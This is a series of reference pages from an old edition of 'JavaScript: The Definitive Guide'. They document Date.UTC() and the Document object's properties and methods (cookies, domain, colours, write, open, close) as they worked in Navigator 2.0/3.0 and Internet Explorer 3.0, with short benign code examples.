
The number of milliseconds between midnight on January 1st, 1970, UTC and the time specified (also in UTC) by the arguments.

Description

Date.UTC() is a function with a name that begins with "Date". It is related to the Date object, but it is not a method of the Date object, and is not invoked on a Date object. It is always invoked as Date.UTC(), not as date.UTC() on some Date object date.

The arguments to Date.UTC() specify a date and time, and are understood to be in UTC (Universal Coordinated Time)--i.e., they are in the GMT time zone. The specified UTC time is converted to the millisecond format, which can be used by the Date() constructor method, and by the Date.setTime() method.

Usage

The Date() constructor method can accept date and time arguments identical to those that Date.UTC() accepts. The difference is that the Date() constructor assumes local time, while Date.UTC() assumes UTC. To create a Date object using a UTC time specification, you can use code like this:

d = new Date(Date.UTC(96, 4, 8, 16, 30));

Bugs

In Navigator 2.0, Date.UTC() does not compute the correct number of milliseconds.

See Also

"Date", "Date.parse()", "Date.setTime()"

Previous | Home | Next
Date.toLocaleString() | Book Index | defaultStatus
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: defaultStatus

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

defaultStatus Property

Name

defaultStatus Property---see "Window.defaultStatus"

Previous | Home | Next
Date.UTC() | Book Index | document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: document

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

document Property

Name

document Property---see "Window.document"

Previous | Home | Next
defaultStatus | Book Index | Document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document Object

Name

Document Object---the currently displayed HTML document

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

window.document
document

An instance of the Document object is stored in the document field of the Window object. As a special case, when referring to the Document object of the current window (i.e., the window in which the JavaScript code is executing), you can omit the window reference, and simply use document.

Properties

alinkColor

A string that specifies the color of activated links. May be set in the document <HEAD> or through the ALINK <BODY> attribute.

anchors[]

An array of Anchor objects; one for each hypertext target in the document.

anchors.length

A read-only integer specifying the number of elements in the anchors[] array.

applets[]

An array of Java objects, one for each <APPLET> that appears in the document. Navigator 3.0 and higher.

applets.length

A read-only integer specifying the number of elements in the applets[] array. Navigator 3.0 and higher.

bgColor

A string that specifies the background color of the document. Initially set through the BGCOLOR <BODY> attribute.

cookie

A string, which is the value of a cookie associated with this document.

domain

A string that specifies the Internet domain from which the document is from. This property is used for security purposes. Navigator 3.0 and higher.

embeds[]

An array of Java objects, one for each <EMBED> tag that appears in the document. Navigator 3.0 and higher.

embeds.length

A read-only integer that specifies the number of elements in the embeds[] array. Navigator 3.0 and higher.

fgColor

A string that specifies the color of document text. May be set in the document <HEAD> or through the TEXT <BODY> attribute.

forms[]

An array of Form objects, one for each <FORM> that appears in the document.

forms.length

A read-only integer specifying the number of elements in the forms[] array.

images[]

An array of Image objects, one for each image embedded in the document with the <IMG> tag. Navigator 3.0 and higher.

images.length

The number of elements in the images[] array.

lastModified

A read-only string that specifies the date of the most recent change to the document (as reported by the web server).

linkColor

A string that specifies the color of unvisited links in the document. May be set in the document <HEAD> or through the LINK <BODY> attribute.

links[]

An array of Link objects, one for each hypertext link in the the document.

links.length

A read-only integer specifying the number of elements in the links[] array.

location

A synonym for the URL property. Not the same as the Location object window.location.

plugins[]

A synonym for the embeds[] array. Navigator 3.0 and higher.

plugins.length

The number of elements in the plugins[] or embeds[] array. Navigator 3.0 and higher.

referrer

A read-only string that specifies the URL of the document that contained the link that referred to the current document.

title

A read-only string that specifies the <TITLE> of the document.

URL

A read-only string that specifies the URL of the document.

vlinkColor

A string that specifies the color of visited links. May be set in the document <HEAD> or through the VLINK <BODY> attribute.

Methods

clear()

A method that erases the contents of the document. This method is deprecated in Navigator 3.0.

close()

A method that closes a document stream opened with the open() method.

open()

A method that opens a stream to which document contents may be written.

write()

A method that inserts the specified string or strings into the document currently being parsed, or into a document stream opened with open().

writeln()

A method identical to write(), except that it appends a newline character to the output.

Event Handlers

onload

An event handler invoked when the document is fully loaded, specified by the onLoad attribute of <BODY>. Although this event handler is specified as an attribute of the <BODY> tag, it is a property of the Window object, not the Document object. See "Window.onload()" for details.

onunload

An event handler invoked when the document is unloaded, specified by the onUnload attribute of <BODY>. Although this event handler is specified as an attribute of the <BODY> tag, it is a property of the Window object, not the Document object. See "Window.onunload()" for details.

HTML Syntax

The Document object obtains values for a number of its properties from attributes of the HTML <BODY> tag. Also, the HTML contents of a document appear within the <BODY> and </BODY> tags.

<BODY
  [ BACKGROUND="imageURL" ]    a background image for the document
  [ BGCOLOR="color" ]  a background color for the document
  [ TEXT="color" ]     the foreground color the document's text
  [ LINK="color" ]     the color for unvisited links
  [ ALINK="color" ]    the color for activated links
  [ VLINK="color" ]    the color for visited links
  [ onLoad="handler" ]     JavaScript to run when the document is loaded
  [ onUnload="handler" ]   JavaScript to run when the document is unloaded
>
    HTML document contents go here.
</BODY>

Description

The Document object represents the HTML document displayed in a browser window or frame. The properties of this object provide details about many aspects of the document, from the colors of the text, background, and anchors, to the date on which the document was last modified. The Document object also contains a number of arrays that describe the contents of the document. The links[] array contains one Link object for each hypertext link in the document. Similarly, the applets[] array contains one object for each Java applet embedded in the document, and the forms[] array contains one Form object for each HTML form that appears in the document.

The write() method of the Document object is especially notable. When invoked in scripts that are run while the document is loading, you can call document.write() to insert dynamically generated HTML text into the document.

See Chapter 14, Documents and Their Contents, for an overview of the Document object, and of many of the other JavaScript objects that it refers to. See the individual reference pages for full documentation for each of the properties and methods of this object.

See Also

"Form", "Window", Chapter 14, Documents and Their Contents

Previous | Home | Next
document | Book Index | Document.alinkColor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.alinkColor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.alinkColor Property

Name

Document.alinkColor Property---the color of activated links

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

document.alinkColor

Description

alinkColor is a string property that specifies the color of activated links in document. This color is displayed between the times that the user presses and releases the mouse button over the link. Note that this property exists, but has no effect in Internet Explorer 3.0. This is because the Internet Explorer user-interface never displays a special color when links are activated.

The activated link color can be specified through the ALINK attribute in the <BODY> HTML tag, and the alinkColor property will contain the specified value. The color may also be specified by assigning a value to alinkColor directly, but this may only be done in the <HEAD> of the document, before the <BODY> tag is parsed.

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

See Also

"Document", "Document.bgColor", "Document.fgColor", "Document.linkColor", "Document.vlinkColor", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
Document | Book Index | Document.anchors[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.anchors[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.anchors[] Property

Name

Document.anchors[] Property---the Anchors in a document

Availability

Implemented but nonfunctional in Navigator 2.0, 3.0, and Internet Explorer 3.0

Synopsis

document.anchors
document.anchors.length

Description

The anchors property is an array of Anchor objects, one for each anchor that appears in document. An anchor is a named position within the document, which can serve as the target of a hypertext link. The anchors[] array has anchors.length elements, numbered from zero to anchors.length-1.

This property has not yet been fully implemented; see the Anchor object for more information.

Do not confuse anchors with hypertext links, which are represented, in JavaScript, by the Link objects in the Document.links[] array.

See Also

"Anchor", "Document", "Document.links[]", "Link"

Previous | Home | Next
Document.alinkColor | Book Index | Document.applets[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.applets[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.applets[] Property

Name

Document.applets[] Property---the applets in a document

Availability

Navigator 3.0

Synopsis

document.applets
document.applets.length

Description

The applets[] property of the Document object is an array of JavaObject objects, one for each applet that appears in the document. Each JavaObject in the array refers to the Java object for an applet. You can use the JavaObject to read and write all public variables in the applet, and can invoke all of the applet's public methods.

If an <APPLET> tag has a NAME attribute, then the applet may also be referred to by using the name as a property of document or as an index into the applets array. Thus, if the first applet in a document has NAME="animator", then you can refer to it in any of these three ways:

document.applets[0]
document.animator
document.applets["animator"]

See Also

"JavaObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
Document.anchors[] | Book Index | Document.bgColor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.bgColor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.bgColor Property

Name

Document.bgColor Property---the document background color

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.bgColor

Description

bgColor is a string property that specifies the background color of document.

The document text color can be set through the BGCOLOR attribute in the <BODY> HTML tag, and the bgColor property will contain the specified value. The background color may also be specified by assigning a value to bgColor directly. Unlike the other color properties, bgColor can be set at any time. Unfortunately, in Navigator 2.0, setting bgColor is buggy.

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

Usage

When setting one color property for a Document, you should probably set the other color properties to match. Be careful when specifying color values; it is far easier to end up with a garish web page than it is to choose a palette of harmonious colors. In general, the default colors are a safe choice, and may also reflect the end user's color preferences.

Note that the background of a document may also be set to an image with the BACKGROUND attribute of the HTML <BODY> tag.

See Also

"Document", "Document.alinkColor", "Document.fgColor", "Document.linkColor", "Document.vlinkColor", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
Document.applets[] | Book Index | Document.clear()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.clear()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.clear() Method

Name

Document.clear() Method---clear a document

Availability

deprecated; do not use

Synopsis

document.clear()

Arguments

none

Returns

nothing

Description

document.clear() temporarily erases the specified document (i.e., it clears the window or frame that contains document). This method does not actually remove the contents of the document, and if the window is covered and then uncovered, for example, the document will be redrawn. This is unusual and generally undesirable behavior, and the use of the clear() method is not recommended.

Furthermore, Internet Explorer 3.0 defines this function in an compatible way. On that platform, the clear() method is simply a synonym for Document.open().

The clear() method will be removed from JavaScript in a future version of the language. When you want to use JavaScript to delete the current document and begin a new one, you should first call the close() method for the current document, then call the open() method to open a new document, and then use the write() and writeln() methods to write out the contents of the new document. When you are writing HTML text, you can omit the call to open()--a new text/html document will be automatically opened if you call write() or writeln() without first calling open().

See Also

"Document",
"Document.close()",
"Document.open()",
"Document.write()"

Previous | Home | Next
Document.bgColor | Book Index | Document.close()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.close()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.close() Method

Name

Document.close() Method---close an output stream

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.close()

Arguments

none

Returns

nothing

Description

This method displays any output to document that has been written but not yet displayed, and closes the output stream to document. When generating complete HTML pages with Document.write(), you should invoke Document.close() when you reach the end of the page.

After document.close() has been called, if any further output is written to document (e.g., with document.write()) then the document will be implicitly cleared and reopened, erasing all the output that was written prior to calling the close() method.

See Also

"Document",
"Document.clear()",
"Document.open()",
"Document.write()"

Previous | Home | Next
Document.clear() | Book Index | Document.cookie
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.cookie

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.cookie Property

Name

Document.cookie Property---the cookie(s) of the document

Availability

Navigator 2.0, partial support in Internet Explorer 3.0

Synopsis

document.cookie

Description

cookie is a string property that allows you to read, create, modify, and delete the cookie or cookies that apply to the current document. A cookie is a small amount of named data stored by the web browser. It serves to give web browsers a "memory", so that they can use data input on one page in another page, or so they can recall user preferences across web browsing sessions. Cookie data is automatically transmitted between web browser and web server when appropriate, so that CGI scripts on the server end can read and write cookie values. Client-side JavaScript code can also read and write cookies with this property. For a more complete discussion of cookies, see Netscape's cookie specification at http://home.netscape.com/newsref/std/cookie_spec.html.

Internet Explorer 3.0 supports the cookie property only when the document was retrieved via the HTTP protocol. Documents retrieved from the local file system, or via other protocols such as FTP and Gopher cannot utilize cookies. This limitation will be removed in a future version of Internet Explorer.

The Document.cookie property does not behave like a normal read/write property. You may both read and write the value of of Document.cookie, but the value you read from this property will, in general, not be the same as the value you write. The following subsections explain how to read and write cookie values.

Reading Cookie Values

When you use the cookie property in a JavaScript expression, the value it returns is a string containing all the cookies that apply to the current document. The string is a list of name=value pairs separated by semicolons, where name is the name of a cookie, and value is its string value. You can use the String.indexOf() and String.substring() methods to determine the value of the named cookie you are interested in.

Once you have obtained the value of a cookie in this way, you must interpret that value based on whatever format or encoding was used by the creator of that cookie. For example, the cookie might store multiple pieces of information in colon-separated fields. In this case, you would have to use appropriate string methods to extract the various fields of information.

The value of a cookie must not contain any semicolons, commas, or whitespace. Because these are commonly used characters, it is common to use the JavaScript escape() function to encode cookie values before storing them, and the unescape() function to decode the values after retrieving them.

Note that the Document.cookie field provides no way to obtain the domain, path, expiration, or secure fields associated with a cookie.

Storing Cookies

To associate a temporary cookie value with the current document, simply set document.cookie to a string of the form name=value. The next time you read document.cookie, the name and value pair will be included in the list of cookies for the document. As noted above, the cookie value may not include semicolons, commas or whitespace. For this reason, you may want to use the JavaScript escape() function to encode the value before storing it in the cookie.

A cookie written as described above will last for the current web browsing session, but will be lost when the user exits the browser. To create a cookie that can last across browser sessions, include an expiration date. You can do this by setting document.cookie to a string of the form:

name=value; expires=date

date should be a date specification in the format written by Date.toGMTString().

Similarly, you can set the path, domain, and secure fields of a cookie by appending strings of the following form to the cookie value before that value is written to the document.cookie property. (See http://home.netscape.com/newsref/std/ cookie_spec.html for more information about the meaning of the path, domain, and secure fields of a cookie.)

; path=path
; domain=domain
; secure

To change the value of a cookie, set its value again, using the same name (and the same path and domain, if any) and the new value.

To delete a cookie, set it again using the same name, path and domain, an arbitrary value, and an expiration date that has already passed. Note that the browser is not required to immediately delete expired cookies. In practice, with Netscape Navigator, cookie deletion seems to work more effectively if the expiration date is in the relatively distant (several hours or more) past.

Usage

Cookies are intended for infrequent storage of small amounts of data. They are not intended as a general-purpose communication or programming mechanism; use them in moderation. Note that web browsers are not required to retain the value of more than 20 cookies per web server (for the entire server, not just for your site on the server), nor to retain a cookie name/value pair more than 4 kilobytes in length.

Bugs

In Internet Explorer 3.0, cookies and the cookie property only work for documents retrieved via the HTTP protocol.

See Also

Chapter 15, Saving State with Cookies

Previous | Home | Next
Document.close() | Book Index | Document.domain
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.domain

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.domain Property

Name

Document.domain Property---the security domain of a document

Availability

Navigator 3.0

Synopsis

document.domain

Description

The domain property of the Document object is used for security purposes when the data-tainting security model is not enabled. Under the non-tainting "default" model, a script running in one window is not allowed to read properties of another window unless that window comes from the same web server as the host. This causes problems for large web sites that use multiple servers. For example, a script on the host www.yahoo.com might want to be able to share properties with a script from the host search.yahoo.com.

The domain property helps to address this problem. Initially, this string property contains the hostname of the web server from which the document was loaded. You can set this property, but only in a very restricted way: it can only be set to a domain suffix of itself. For example, a script loaded from search.yahoo.com could set its own domain property to "yahoo.com". If a script from www.yahoo.com is running in another window, and it also sets its domain property to "yahoo.com", then these two scripts will be able to share properties, even though they did not originate on the same server.

Note, however, that a script from search.yahoo.com can't set its domain property to "search.yahoo". And, importantly, a script from snoop.direct_market.com cannot set its domain to "yahoo.com" to determine, for example, what search keywords you use.

See Also

"Document", Chapter 20, JavaScript Security

Previous | Home | Next
Document.cookie | Book Index | Document.embeds[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.embeds[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.embeds[] Property

Name

Document.embeds[] Property---embedded objects in a document

Availability

Navigator 3.0

Synopsis

document.embeds[i]
document.embeds.length
document.embed-name

Description

The embeds property of the Document object is an array of JavaObjects, each of which represents one embedded object in the document. Objects or data are embedded in an HTML page with the <EMBED> tag, and embedded objects are displayed, in Navigator at least, with plug-ins. For Java-enabled plug-ins, the JavaObjects in the embeds[] array allow you to interact with the plug-in that is displaying the embedded object. For plug-ins that are not Java-enabled, the JavaObject in embeds[] is a dummy object, and you cannot do anything with it.

Note that the contents of this array are JavaObject objects, not Plugin objects, as you might expect. The Plugin object and the Navigator.plugins[] array simply provides information about installed plug-ins. The Document.embeds[] array allows control over the plug-ins and access to the data those plug-ins are displaying. The fields and methods of the JavaObject objects provided by in the embeds[] array vary from plug-in to plug-in, and documentation will be supplied by the plug-in manufacturers.

If the <EMBED> tag of an embedded object contains the NAME attribute to specify a name, then a reference to the JavaObject for that embedded object will also be available as a property of the Document. The name of this Document property will be the name of the embedded object--i.e., the value of the NAME attribute.

See Also

"Document", "JavaObject", "Navigator", "Plugin", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
Document.domain | Book Index | Document.fgColor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.fgColor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.fgColor Property

Name

Document.fgColor Property---the default text color

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.fgColor

Description

fgColor is a string property that specifies the default color of text in document. This default color is used for all text in the document except hypertext links and text with an alternate color specified through the COLOR attribute of the HTML <FONT> tag.

The document text color can be set through the TEXT attribute in the <BODY> HTML tag, and the fgColor property will contain the specified value. The default color may also be specified by assigning a value to fgColor directly, but this may only be done in the <HEAD> of the document, before the <BODY> tag is parsed.

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

See Also

"Document", "Document.alinkColor", "Document.bgColor", "Document.linkColor", "Document.vlinkColor", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
Document.embeds[] | Book Index | Document.forms[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.forms[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.forms[] Property

Name

Document.forms[] Property---the Forms in a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.forms
document.forms.length

Description

The forms property is an array of Form objects, one for each HTML form that appears in document. The forms[] array has forms.length elements, numbered from zero to forms.length-1.

See the Form object for more information.

See Also

"Document", "Form"

Previous | Home | Next
Document.fgColor | Book Index | Document.images[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.images[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.images[] Property

Name

Document.images[] Property---the images embedded in a document

Availability

Navigator 3.0

Synopsis

document.images[i]
document.images.length
document.image-name

Description

The images property of the Document object is an array of Image objects, one for each image that is embedded in the document with the HTML <IMG> tag.

If the NAME attribute is specified in the <IMG> tag for an Image, then a reference to that image will also be stored in a property of the Document object. This property will have the same name as the image. So if an image has a NAME="toggle" attribute, then you can refer to the image with document.toggle.

See Also

"Document", "Image"

Previous | Home | Next
Document.forms[] | Book Index | Document.lastModified
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.lastModified

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.lastModified Property

Name

Document.lastModified Property---modification date of a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.lastModified

Description

lastModified is a read-only string property that contains the date and time at which document was most recently modified. This data is derived from HTTP header data sent by the web server. The web server generally obtains the last-modified date by examining the modification date of the file itself.

Web servers are not required to provide last-modified dates for the documents they serve. When a web server does not provide a last modification date, JavaScript assumes 0, which translates to a date of January 1st, 1970, GMT. The example below shows how you can test for this case.

Example

It is a good idea to let readers know how recent the information you provide on the Web is. You can include an automatic time stamp in your documents by placing the following script at the end of each HTML file. By doing this you do not need to update the modification time by hand each time you make a change to the file. Note that this script tests that the supplied date is a valid one before displaying it.

<SCRIPT>
if (Date.parse(document.lastModified) != 0)
    document.write('<P><HR><SMALL><I>Last modified: '
                   + document.lastModified
                   + '</I></SMALL>');
</SCRIPT>

See Also

"Document", "Document.location", "Document.referrer", "Document.title"

Previous | Home | Next
Document.images[] | Book Index | Document.linkColor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.linkColor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.linkColor Property

Name

Document.linkColor Property---the color of unfollowed links

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.linkColor

Description

linkColor is a string property that specifies the color of unvisited links in document. All hypertext links in the document are displayed in this color, except for those that have already been followed or visited.

The link color can be specified through the LINK attribute in the <BODY> HTML tag, and the linkColor property will contain the specified value. The color may also be specified by assigning a value to linkColor directly, but this may only be done in the <HEAD> of the document, before the <BODY> tag is parsed.

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

See Also

"Document", "Document.alinkColor", "Document.bgColor", "Document.fgColor", "Document.vlinkColor", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
Document.lastModified | Book Index | Document.links[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.links[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.links[] Property

Name

Document.links[] Property---the Link objects in a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.links
document.links.length

Description

The links property is an array of Link objects, one for each hypertext link that appears in document. The links[] array has links.length elements, numbered from zero to links.length-1.

See the Link object for more information.

See Also

"Anchor", "Document", "Document.anchors[]", "Link"

Previous | Home | Next
Document.linkColor | Book Index | Document.location
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.location

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.location Property

Name

Document.location Property---the URL of the current document

Availability

Navigator 2.0, Internet Explorer 3.0; deprecated in Navigator 3.0--use Document.URL instead

Synopsis

document.location

Description

In Navigator 2.0 and Internet Explorer 3.0, location is a read-only string property that contains the complete URL of the current document. The document.location property of a document is usually equal to the location.href of a window on these platforms. These two properties are not always equal, however, because the the location property of the Document object may be modified through URL redirection--Window.location contains the requested URL and Document.location specifies the actual URL of the retrieved document.

In Navigator 3.0, the location property of the Document object is a read-only reference to the same Location object referred to by the location property of the Window object. That is, in Navigator 3.0, window.location is always equal to document.location. Navigator 3.0 also introduces the URL property of the Document object. That new property behaves the same way as the location property did prior to Navigator 3.0--it is a string that contains the possibly redirected URL of the document.

While this is a fairly major change made in Navigator 3.0, it should not break many scripts. Because the Location object has a toString() method, the document.location property in Navigator 3.0 can be treated as if it were a string, just as it was in Navigator 2.0.

See Also

"Document", "Document.URL", "Window.location"

Previous | Home | Next
Document.links[] | Book Index | Document.open()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.open()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.open() Method

Name

Document.open() Method---begin a new document

Availability

Navigator 2.0, partial support in Internet Explorer 3.0

Synopsis

document.open()
document.open(mimetype)

Arguments

mimetype

An optional string argument that specifies the type of data to be written to and display in document. The value of this argument should be one of the standard MIME types that the browser understands ("text/html", "text/plain", "image/gif", "image/jpeg", "image/x-bitmap" for Navigator) or some other MIME type that can be handled by an installed plug-in. If this argument is omitted, it is taken to be "text/html". This argument is ignored by Internet Explorer 3.0, which always assumes a document of type "text/html".

Returns

nothing

Description

The document.open() method opens a stream to document, so that subsequent document.write() calls can append data to the document. The optional mimetype argument specifies the type of data to be written, and tells the browser how to interpret that data. Note, however that Internet Explorer 3.0 does not support the mimetype argument and always assumes documents of HTML text.

If there is any existing document displayed when the open() method is called, it will be automatically cleared by the call to open() or by the first call to write() or writeln().

After opening a document with open() and writing data to it with write(), you should complete the document by calling close().

Usage

You will usually call Document.open() with no argument, to open an HTML document. Occasionally, a "text/plain" document is useful; for example for a pop-up window of debugging messages.

See Also

"Document",
"Document.clear()",
"Document.close()",
"Document.write()"

Previous | Home | Next
Document.location | Book Index | Document.plugins
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.plugins

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.plugins Property

Name

Document.plugins Property---embedded objects in a document

Availability

Navigator 3.0

Synopsis

document.plugins[i]
document.plugins.length
document.embedded-object-name

Description

The plugins property of the Document object is a synonym for the embeds property. Both properties refer to an array of JavaObjects that represent embedded data being displayed by a plug-in.

The embeds property is the preferred way to access this array, since it avoids confusion with the Navigator.plugins[] array, which is totally different than the array Document.plugins[]. See Document.embeds[] for full details.

See Also

"Document", "Document.embeds[]"

Previous | Home | Next
Document.open() | Book Index | Document.referrer
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.referrer

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.referrer Property

Name

Document.referrer Property---the URL of the linked-from document

Availability

Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

document.referrer

Description

referrer is a read-only string property that contains the URL of the document from which the current document was reached. For example, if the user follows a link in document A to document B, then in document B, the Document.referrer property contains the URL of document A. On the other hand, if the user types the URL of document B directly and does not follow any link to get there, then the Document.referrer property for document B will be an empty string.

See Also

"Document", "Document.lastModified", "Document.location", "Document.title"

Previous | Home | Next
Document.plugins | Book Index | Document.title
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.title

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.title Property

Name

Document.title Property---the title of a document

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.title

Description

title is a read-only string property that specifies the title of the current document. The title is any text that appears within <TITLE> and </TITLE> tags in the <HEAD> of the document.

See Also

"Document", "Document.lastModified", "Document.location", "Document.referrer"

Previous | Home | Next
Document.referrer | Book Index | Document.URL
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.URL

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.URL Property

Name

Document.URL Property---the URL of the current document

Availability

Navigator 2.0; enhanced in Navigator 3.0

Synopsis

document.URL

Description

URL is a read-only string property that contains the complete URL of the current document.

document.URL is usually equal to window.location.href for the window that contains document. These two are not always equal, however, because the Document.URL property may be modified through URL redirection--Window.location contains the requested URL, and Document.URL specifies the actual URL where it was found.

The Document.location property is a synonym for the Document.URL property. The URL property is the preferred one, because it is less likely to be confused with the Window object's location property. Note, however, that in Navigator 2.0, the URL property does not appear in for/in loops run over Document objects. Also, the URL property is not supported by Internet Explorer 3.0.

Usage

Some web authors like to include the URL of a document somewhere within the document, so that, for example, if the document is cut-and-pasted to a file, or printed out, there will still be a reference to where it can be found online. The following script, when appended to a document will automatically add the document's URL. (Unfortunately, in Netscape 2.0, text such as this generated by JavaScript won't appear in printouts, which defeats an important purpose of including the location in the first place.)

<script>
document.write('<P><HR><SMALL><I>URL: ' + document.URL
    + '</I></SMALL>');
</script>

See Also

"Document", "Document.lastModified", "Document.location", "Document.referrer", "Document.title", "Location", "Window.location"

Previous | Home | Next
Document.title | Book Index | Document.vlinkColor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.vlinkColor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Document.vlinkColor Property

Name

Document.vlinkColor Property---the color of visited links

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.vlinkColor

Description

vlinkColor is a string property that specifies the color of visited links in document. This color is displayed for links that the user has already followed, i.e., those that reference a URL that the user has already visited.

The visited link color can be specified through the VLINK attribute in the <BODY> HTML tag, and the vlinkColor property will contain the specified value. The color may also be specified by assigning a value to vlinkColor directly, but this may only be done in the <HEAD> of the document, before the <BODY> tag is parsed.

Colors are specified either as one of the standard color names recognized by JavaScript, or as red, green, and blue color values, expressed as a string of six hexadecimal digits in the form "RRGGBB".

See Also

"Document", "Document.alinkColor", "Document.bgColor", "Document.fgColor", "Document.linkColor", Appendix G, JavaScript and HTML Color Names and Values

Previous | Home | Next
Document.URL | Book Index | Document.write()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Document.write()

JavaScript: The Definitive Guide

